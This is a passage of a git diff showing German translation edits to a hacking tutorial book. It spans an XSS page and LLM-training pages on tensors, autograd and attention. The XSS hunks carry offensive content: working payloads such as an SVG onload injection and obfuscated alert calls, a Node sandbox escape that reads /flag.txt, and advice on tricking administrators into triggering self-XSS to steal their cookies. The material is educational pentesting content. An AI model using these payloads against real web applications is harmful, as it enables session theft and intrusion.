Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist.
|
||||
|
||||
### Selbst-XSS aufrüsten
|
||||
|
||||
|
|
@ -763,7 +763,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn
|
|||
|
||||
### Sitzungs-Spiegelung
|
||||
|
||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
|
||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
|
||||
|
||||
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
|
||||
|
||||
|
|
@ -777,7 +777,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
|
|||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails Bypass
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Aufgrund der **RoR-Massenzuweisung** werden Zitate in das HTML eingefügt und dann wird die Zitatbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
|
||||
Formularbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
|
||||
|
|
@ -820,7 +820,7 @@ Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS mit Header-Injection in einer 302-Antwort
|
||||
### XSS mit Header-Injektion in einer 302-Antwort
|
||||
|
||||
Wenn Sie feststellen, dass Sie **Header in einer 302-Redirect-Antwort injizieren** können, könnten Sie versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, sodass eine Cross-Site-Scripting-Nutzlast nutzlos ist.
|
||||
|
||||
|
|
@ -981,7 +981,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdigen Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:
|
||||
Wenn **alles undefiniert ist**, bevor untrusted code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen untrusted codes auszunutzen:
|
||||
|
||||
* Verwendung von import()
|
||||
```javascript
|
||||
|
|
@ -990,7 +990,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* Indirektes Zugreifen auf `require`
|
||||
|
||||
[Nach diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingekapselt, so wie folgt:
|
||||
[Nach diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingewickelt, so:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
|
@ -1198,7 +1198,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
|
||||
Überprüfen Sie die Liste der in Chrome [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gesperrten Ports.
|
||||
Überprüfen Sie die Liste der in Chrome gesperrten Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box zur Abfrage von Anmeldeinformationen
|
||||
```markup
|
||||
|
|
@ -1370,7 +1370,7 @@ Das [**AMP für E-Mail**](https://amp.dev/documentation/guides-and-tutorials/lea
|
|||
|
||||
Beispiel [**Writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS-Dateien hochladen (svg)
|
||||
### XSS beim Hochladen von Dateien (svg)
|
||||
|
||||
Laden Sie eine Datei wie die folgende als Bild hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
|
|
@ -1444,7 +1444,7 @@ Finde **weitere SVG-Payloads in** [**https://github.com/allanlw/svg-cheatsheet**
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,7 @@ Ein LLM wird normalerweise durch die Konfiguration charakterisiert, die zu seine
|
|||
* **Einbettungsdimension**: Die Größe des Vektors, der verwendet wird, um jedes Token oder Wort darzustellen. LLMs verwenden normalerweise Milliarden von Dimensionen.
|
||||
* **Verborgene Dimension**: Die Größe der verborgenen Schichten im neuronalen Netzwerk.
|
||||
* **Anzahl der Schichten (Tiefe)**: Wie viele Schichten das Modell hat. LLMs verwenden normalerweise Dutzende von Schichten.
|
||||
* **Anzahl der Aufmerksamkeitsköpfe**: In Transformermodellen ist dies, wie viele separate Aufmerksamkeitsmechanismen in jeder Schicht verwendet werden. LLMs verwenden normalerweise Dutzende von Köpfen.
|
||||
* **Anzahl der Aufmerksamkeitsköpfe**: In Transformermodellen ist dies die Anzahl der separaten Aufmerksamkeitsmechanismen, die in jeder Schicht verwendet werden. LLMs verwenden normalerweise Dutzende von Köpfen.
|
||||
* **Dropout**: Dropout ist etwas wie der Prozentsatz der Daten, der entfernt wird (Wahrscheinlichkeiten werden auf 0 gesetzt) während des Trainings, um **Überanpassung zu verhindern.** LLMs verwenden normalerweise zwischen 0-20%.
|
||||
|
||||
Konfiguration des GPT-2-Modells:
|
||||
|
|
@ -41,13 +41,13 @@ In PyTorch ist ein **Tensor** eine grundlegende Datenstruktur, die als mehrdimen
|
|||
|
||||
### Tensoren als Datencontainer
|
||||
|
||||
Aus computationaler Sicht fungieren Tensoren als Container für mehrdimensionale Daten, wobei jede Dimension verschiedene Merkmale oder Aspekte der Daten darstellen kann. Dies macht Tensoren besonders geeignet für die Verarbeitung komplexer Datensätze in Machine Learning-Aufgaben.
|
||||
Aus einer rechnerischen Perspektive fungieren Tensoren als Container für mehrdimensionale Daten, wobei jede Dimension verschiedene Merkmale oder Aspekte der Daten darstellen kann. Dies macht Tensoren besonders geeignet für die Verarbeitung komplexer Datensätze in maschinellen Lernaufgaben.
|
||||
|
||||
### PyTorch-Tensoren vs. NumPy-Arrays
|
||||
|
||||
Während PyTorch-Tensoren NumPy-Arrays in ihrer Fähigkeit, numerische Daten zu speichern und zu manipulieren, ähnlich sind, bieten sie zusätzliche Funktionalitäten, die für Deep Learning entscheidend sind:
|
||||
Während PyTorch-Tensoren NumPy-Arrays in ihrer Fähigkeit ähneln, numerische Daten zu speichern und zu manipulieren, bieten sie zusätzliche Funktionalitäten, die für Deep Learning entscheidend sind:
|
||||
|
||||
* **Automatische Differenzierung**: PyTorch-Tensoren unterstützen die automatische Berechnung von Gradienten (autograd), was den Prozess der Berechnung von Ableitungen vereinfacht, die für das Training von neuronalen Netzwerken erforderlich sind.
|
||||
* **Automatische Differenzierung**: PyTorch-Tensoren unterstützen die automatische Berechnung von Gradienten (autograd), was den Prozess der Berechnung von Ableitungen vereinfacht, die für das Training neuronaler Netzwerke erforderlich sind.
|
||||
* **GPU-Beschleunigung**: Tensoren in PyTorch können auf GPUs verschoben und dort berechnet werden, was großangelegte Berechnungen erheblich beschleunigt.
|
||||
|
||||
### Erstellen von Tensoren in PyTorch
|
||||
|
|
@ -116,23 +116,23 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
Tensors sind in PyTorch unerlässlich für den Aufbau und das Training von neuronalen Netzwerken:
|
||||
|
||||
* Sie speichern Eingabedaten, Gewichte und Bias.
|
||||
* Sie speichern Eingabedaten, Gewichte und Biases.
|
||||
* Sie erleichtern die für Vorwärts- und Rückwärtsdurchläufe in Trainingsalgorithmen erforderlichen Operationen.
|
||||
* Mit Autograd ermöglichen Tensors die automatische Berechnung von Gradienten, was den Optimierungsprozess vereinfacht.
|
||||
|
||||
## Automatische Differenzierung
|
||||
|
||||
Automatische Differenzierung (AD) ist eine rechnerische Technik, die verwendet wird, um **die Ableitungen (Gradienten)** von Funktionen effizient und genau zu bewerten. Im Kontext von neuronalen Netzwerken ermöglicht AD die Berechnung der für **Optimierungsalgorithmen wie den Gradientenabstieg** erforderlichen Gradienten. PyTorch bietet eine automatische Differenzierungs-Engine namens **autograd**, die diesen Prozess vereinfacht.
|
||||
Die automatische Differenzierung (AD) ist eine rechnerische Technik, die verwendet wird, um **die Ableitungen (Gradienten)** von Funktionen effizient und genau zu bewerten. Im Kontext von neuronalen Netzwerken ermöglicht AD die Berechnung der für **Optimierungsalgorithmen wie den Gradientenabstieg** erforderlichen Gradienten. PyTorch bietet eine automatische Differenzierungs-Engine namens **autograd**, die diesen Prozess vereinfacht.
|
||||
|
||||
### Mathematische Erklärung der automatischen Differenzierung
|
||||
|
||||
**1. Die Kettenregel**
|
||||
|
||||
Im Herzen der automatischen Differenzierung steht die **Kettenregel** aus der Analysis. Die Kettenregel besagt, dass, wenn Sie eine Zusammensetzung von Funktionen haben, die Ableitung der zusammengesetzten Funktion das Produkt der Ableitungen der zusammengesetzten Funktionen ist.
|
||||
Im Kern der automatischen Differenzierung steht die **Kettenregel** aus der Analysis. Die Kettenregel besagt, dass, wenn Sie eine Zusammensetzung von Funktionen haben, die Ableitung der zusammengesetzten Funktion das Produkt der Ableitungen der zusammengesetzten Funktionen ist.
|
||||
|
||||
Mathematisch, wenn `y=f(u)` und `u=g(x)`, dann ist die Ableitung von `y` bezüglich `x`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Rechengraph**
|
||||
|
||||
|
|
@ -142,7 +142,7 @@ In AD werden Berechnungen als Knoten in einem **Rechengraphen** dargestellt, wob
|
|||
|
||||
Betrachten wir eine einfache Funktion:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wo:
|
||||
|
||||
|
|
@ -152,7 +152,7 @@ Wo:
|
|||
|
||||
Wir möchten den Gradienten des Verlusts `L` bezüglich des Gewichts `w` und des Bias `b` berechnen.
|
||||
|
||||
**4. Manuelle Berechnung der Gradienten**
|
||||
**4. Manuelle Berechnung von Gradienten**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
|||
|
|
@ -1,33 +1,33 @@
|
|||
# 4. Attention-Mechanismen
|
||||
# 4. Aufmerksamkeitsmechanismen
|
||||
|
||||
## Attention-Mechanismen und Selbst-Attention in Neuronalen Netzwerken
|
||||
## Aufmerksamkeitsmechanismen und Selbstaufmerksamkeit in neuronalen Netzwerken
|
||||
|
||||
Attention-Mechanismen ermöglichen es neuronalen Netzwerken, sich **auf spezifische Teile der Eingabe zu konzentrieren, wenn sie jeden Teil der Ausgabe generieren**. Sie weisen unterschiedlichen Eingaben unterschiedliche Gewichte zu, was dem Modell hilft zu entscheiden, welche Eingaben für die jeweilige Aufgabe am relevantesten sind. Dies ist entscheidend bei Aufgaben wie maschineller Übersetzung, bei denen das Verständnis des Kontexts des gesamten Satzes für eine genaue Übersetzung notwendig ist.
|
||||
Aufmerksamkeitsmechanismen ermöglichen es neuronalen Netzwerken, sich **auf spezifische Teile der Eingabe zu konzentrieren, wenn sie jeden Teil der Ausgabe generieren**. Sie weisen verschiedenen Eingaben unterschiedliche Gewichte zu, was dem Modell hilft zu entscheiden, welche Eingaben für die jeweilige Aufgabe am relevantesten sind. Dies ist entscheidend bei Aufgaben wie maschineller Übersetzung, bei denen das Verständnis des Kontexts des gesamten Satzes für eine genaue Übersetzung notwendig ist.
|
||||
|
||||
{% hint style="success" %}
|
||||
Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Attention-Mechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
|
||||
Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Aufmerksamkeitsmechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
|
||||
Es werden viele Schichten dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen werden.
|
||||
{% endhint %}
|
||||
|
||||
### Verständnis der Attention-Mechanismen
|
||||
### Verständnis der Aufmerksamkeitsmechanismen
|
||||
|
||||
In traditionellen Sequenz-zu-Sequenz-Modellen, die für die Sprachübersetzung verwendet werden, kodiert das Modell eine Eingabesequenz in einen kontextuellen Vektor fester Größe. Dieser Ansatz hat jedoch Schwierigkeiten mit langen Sätzen, da der kontextuelle Vektor fester Größe möglicherweise nicht alle notwendigen Informationen erfasst. Attention-Mechanismen beheben diese Einschränkung, indem sie dem Modell ermöglichen, alle Eingabetoken zu berücksichtigen, wenn es jedes Ausgabetoken generiert.
|
||||
In traditionellen Sequenz-zu-Sequenz-Modellen, die für die Sprachübersetzung verwendet werden, kodiert das Modell eine Eingabesequenz in einen kontextuellen Vektor fester Größe. Dieser Ansatz hat jedoch Schwierigkeiten mit langen Sätzen, da der kontextuelle Vektor fester Größe möglicherweise nicht alle notwendigen Informationen erfasst. Aufmerksamkeitsmechanismen beheben diese Einschränkung, indem sie es dem Modell ermöglichen, alle Eingabetoken zu berücksichtigen, wenn es jedes Ausgabetoken generiert.
|
||||
|
||||
#### Beispiel: Maschinelle Übersetzung
|
||||
|
||||
Betrachten Sie die Übersetzung des deutschen Satzes "Kannst du mir helfen diesen Satz zu übersetzen" ins Englische. Eine wortwörtliche Übersetzung würde keinen grammatikalisch korrekten englischen Satz ergeben, da es Unterschiede in den grammatikalischen Strukturen zwischen den Sprachen gibt. Ein Attention-Mechanismus ermöglicht es dem Modell, sich auf relevante Teile des Eingabesatzes zu konzentrieren, wenn es jedes Wort des Ausgabesatzes generiert, was zu einer genaueren und kohärenteren Übersetzung führt.
|
||||
Betrachten Sie die Übersetzung des deutschen Satzes "Kannst du mir helfen diesen Satz zu übersetzen" ins Englische. Eine wortwörtliche Übersetzung würde keinen grammatikalisch korrekten englischen Satz ergeben, da es Unterschiede in den grammatikalischen Strukturen zwischen den Sprachen gibt. Ein Aufmerksamkeitsmechanismus ermöglicht es dem Modell, sich auf relevante Teile des Eingabesatzes zu konzentrieren, wenn es jedes Wort des Ausgabesatzes generiert, was zu einer genaueren und kohärenteren Übersetzung führt.
|
||||
|
||||
### Einführung in die Selbst-Attention
|
||||
### Einführung in die Selbstaufmerksamkeit
|
||||
|
||||
Selbst-Attention, oder Intra-Attention, ist ein Mechanismus, bei dem Attention innerhalb einer einzelnen Sequenz angewendet wird, um eine Darstellung dieser Sequenz zu berechnen. Es ermöglicht jedem Token in der Sequenz, auf alle anderen Tokens zu achten, was dem Modell hilft, Abhängigkeiten zwischen Tokens unabhängig von ihrer Entfernung in der Sequenz zu erfassen.
|
||||
Selbstaufmerksamkeit, oder Intra-Aufmerksamkeit, ist ein Mechanismus, bei dem Aufmerksamkeit innerhalb einer einzelnen Sequenz angewendet wird, um eine Darstellung dieser Sequenz zu berechnen. Sie ermöglicht es jedem Token in der Sequenz, auf alle anderen Tokens zu achten, was dem Modell hilft, Abhängigkeiten zwischen Tokens unabhängig von ihrer Entfernung in der Sequenz zu erfassen.
|
||||
|
||||
#### Schlüsselkonzepte
|
||||
|
||||
* **Tokens**: Einzelne Elemente der Eingabesequenz (z. B. Wörter in einem Satz).
|
||||
* **Embeddings**: Vektorielle Darstellungen von Tokens, die semantische Informationen erfassen.
|
||||
* **Attention-Gewichte**: Werte, die die Bedeutung jedes Tokens im Verhältnis zu anderen bestimmen.
|
||||
* **Aufmerksamkeitsgewichte**: Werte, die die Bedeutung jedes Tokens im Verhältnis zu anderen bestimmen.
|
||||
|
||||
### Berechnung der Attention-Gewichte: Ein Schritt-für-Schritt-Beispiel
|
||||
### Berechnung der Aufmerksamkeitsgewichte: Ein Schritt-für-Schritt-Beispiel
|
||||
|
||||
Betrachten wir den Satz **"Hello shiny sun!"** und repräsentieren jedes Wort mit einem 3-dimensionalen Embedding:
|
||||
|
||||
|
|
@ -35,29 +35,29 @@ Betrachten wir den Satz **"Hello shiny sun!"** und repräsentieren jedes Wort mi
|
|||
* **shiny**: `[0.53, 0.34, 0.98]`
|
||||
* **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Unser Ziel ist es, den **Kontextvektor** für das Wort **"shiny"** mithilfe von Selbst-Attention zu berechnen.
|
||||
Unser Ziel ist es, den **Kontextvektor** für das Wort **"shiny"** mithilfe von Selbstaufmerksamkeit zu berechnen.
|
||||
|
||||
#### Schritt 1: Berechnung der Attention-Werte
|
||||
#### Schritt 1: Berechnung der Aufmerksamkeitswerte
|
||||
|
||||
{% hint style="success" %}
|
||||
Multiplizieren Sie einfach jeden Dimensionswert der Abfrage mit dem entsprechenden Wert jedes Tokens und addieren Sie die Ergebnisse. Sie erhalten 1 Wert pro Token-Paar.
|
||||
{% endhint %}
|
||||
|
||||
Berechnen Sie für jedes Wort im Satz den **Attention-Wert** in Bezug auf "shiny", indem Sie das Skalarprodukt ihrer Embeddings berechnen.
|
||||
Berechnen Sie für jedes Wort im Satz den **Aufmerksamkeitswert** in Bezug auf "shiny", indem Sie das Skalarprodukt ihrer Embeddings berechnen.
|
||||
|
||||
**Attention-Wert zwischen "Hello" und "shiny"**
|
||||
**Aufmerksamkeitswert zwischen "Hello" und "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Attention-Wert zwischen "shiny" und "shiny"**
|
||||
**Aufmerksamkeitswert zwischen "shiny" und "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Attention-Wert zwischen "sun" und "shiny"**
|
||||
**Aufmerksamkeitswert zwischen "sun" und "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Schritt 2: Normalisieren der Attention-Werte zur Ermittlung der Attention-Gewichte
|
||||
#### Schritt 2: Normalisieren der Aufmerksamkeitswerte zur Ermittlung der Aufmerksamkeitsgewichte
|
||||
|
||||
{% hint style="success" %}
|
||||
Verlieren Sie sich nicht in den mathematischen Begriffen, das Ziel dieser Funktion ist einfach, normalisieren Sie alle Gewichte, sodass **sie insgesamt 1 ergeben**.
|
||||
|
|
@ -65,7 +65,7 @@ Verlieren Sie sich nicht in den mathematischen Begriffen, das Ziel dieser Funkti
|
|||
Darüber hinaus wird die **Softmax**-Funktion verwendet, da sie Unterschiede aufgrund des exponentiellen Teils verstärkt, was es einfacher macht, nützliche Werte zu erkennen.
|
||||
{% endhint %}
|
||||
|
||||
Wenden Sie die **Softmax-Funktion** auf die Attention-Werte an, um sie in Attention-Gewichte umzuwandeln, die sich auf 1 summieren.
|
||||
Wenden Sie die **Softmax-Funktion** auf die Aufmerksamkeitswerte an, um sie in Aufmerksamkeitsgewichte umzuwandeln, die sich auf 1 summieren.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -77,17 +77,17 @@ Berechnung der Summe:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Berechnung der Attention-Gewichte:
|
||||
Berechnung der Aufmerksamkeitsgewichte:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Schritt 3: Berechnung des Kontextvektors
|
||||
|
||||
{% hint style="success" %}
|
||||
Nehmen Sie einfach jedes Attention-Gewicht, multiplizieren Sie es mit den entsprechenden Token-Dimensionen und summieren Sie dann alle Dimensionen, um nur 1 Vektor (den Kontextvektor) zu erhalten. 
|
||||
Nehmen Sie einfach jedes Aufmerksamkeitsgewicht und multiplizieren Sie es mit den entsprechenden Token-Dimensionen und summieren Sie dann alle Dimensionen, um nur 1 Vektor (den Kontextvektor) zu erhalten. 
|
||||
{% endhint %}
|
||||
|
||||
Der **Kontextvektor** wird als gewichtete Summe der Embeddings aller Wörter unter Verwendung der Attention-Gewichte berechnet.
|
||||
Der **Kontextvektor** wird als gewichtete Summe der Embeddings aller Wörter unter Verwendung der Aufmerksamkeitsgewichte berechnet.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -111,13 +111,13 @@ Summierung der gewichteten Embeddings:
|
|||
|
||||
### Zusammenfassung des Prozesses
|
||||
|
||||
1. **Berechnung der Attention-Werte**: Verwenden Sie das Skalarprodukt zwischen dem Embedding des Zielworts und den Embeddings aller Wörter in der Sequenz.
|
||||
2. **Normalisieren der Werte zur Ermittlung der Attention-Gewichte**: Wenden Sie die Softmax-Funktion auf die Attention-Werte an, um Gewichte zu erhalten, die sich auf 1 summieren.
|
||||
3. **Berechnung des Kontextvektors**: Multiplizieren Sie das Embedding jedes Wortes mit seinem Attention-Gewicht und summieren Sie die Ergebnisse.
|
||||
1. **Berechnung der Aufmerksamkeitswerte**: Verwenden Sie das Skalarprodukt zwischen dem Embedding des Zielworts und den Embeddings aller Wörter in der Sequenz.
|
||||
2. **Normalisieren der Werte zur Ermittlung der Aufmerksamkeitsgewichte**: Wenden Sie die Softmax-Funktion auf die Aufmerksamkeitswerte an, um Gewichte zu erhalten, die sich auf 1 summieren.
|
||||
3. **Berechnung des Kontextvektors**: Multiplizieren Sie das Embedding jedes Wortes mit seinem Aufmerksamkeitsgewicht und summieren Sie die Ergebnisse.
|
||||
|
||||
## Selbst-Attention mit trainierbaren Gewichten
|
||||
## Selbstaufmerksamkeit mit trainierbaren Gewichten
|
||||
|
||||
In der Praxis verwenden Selbst-Attention-Mechanismen **trainierbare Gewichte**, um die besten Darstellungen für Abfragen, Schlüssel und Werte zu lernen. Dies beinhaltet die Einführung von drei Gewichtsmatrizen:
|
||||
In der Praxis verwenden Selbstaufmerksamkeitsmechanismen **trainierbare Gewichte**, um die besten Darstellungen für Abfragen, Schlüssel und Werte zu lernen. Dies beinhaltet die Einführung von drei Gewichtsmatrizen:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -129,7 +129,7 @@ Jedes Token hat seine eigene Abfrage-, Schlüssel- und Wertematrix, indem es sei
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Diese Matrizen transformieren die ursprünglichen Embeddings in einen neuen Raum, der für die Berechnung der Attention geeignet ist.
|
||||
Diese Matrizen transformieren die ursprünglichen Embeddings in einen neuen Raum, der für die Berechnung der Aufmerksamkeit geeignet ist.
|
||||
|
||||
**Beispiel**
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue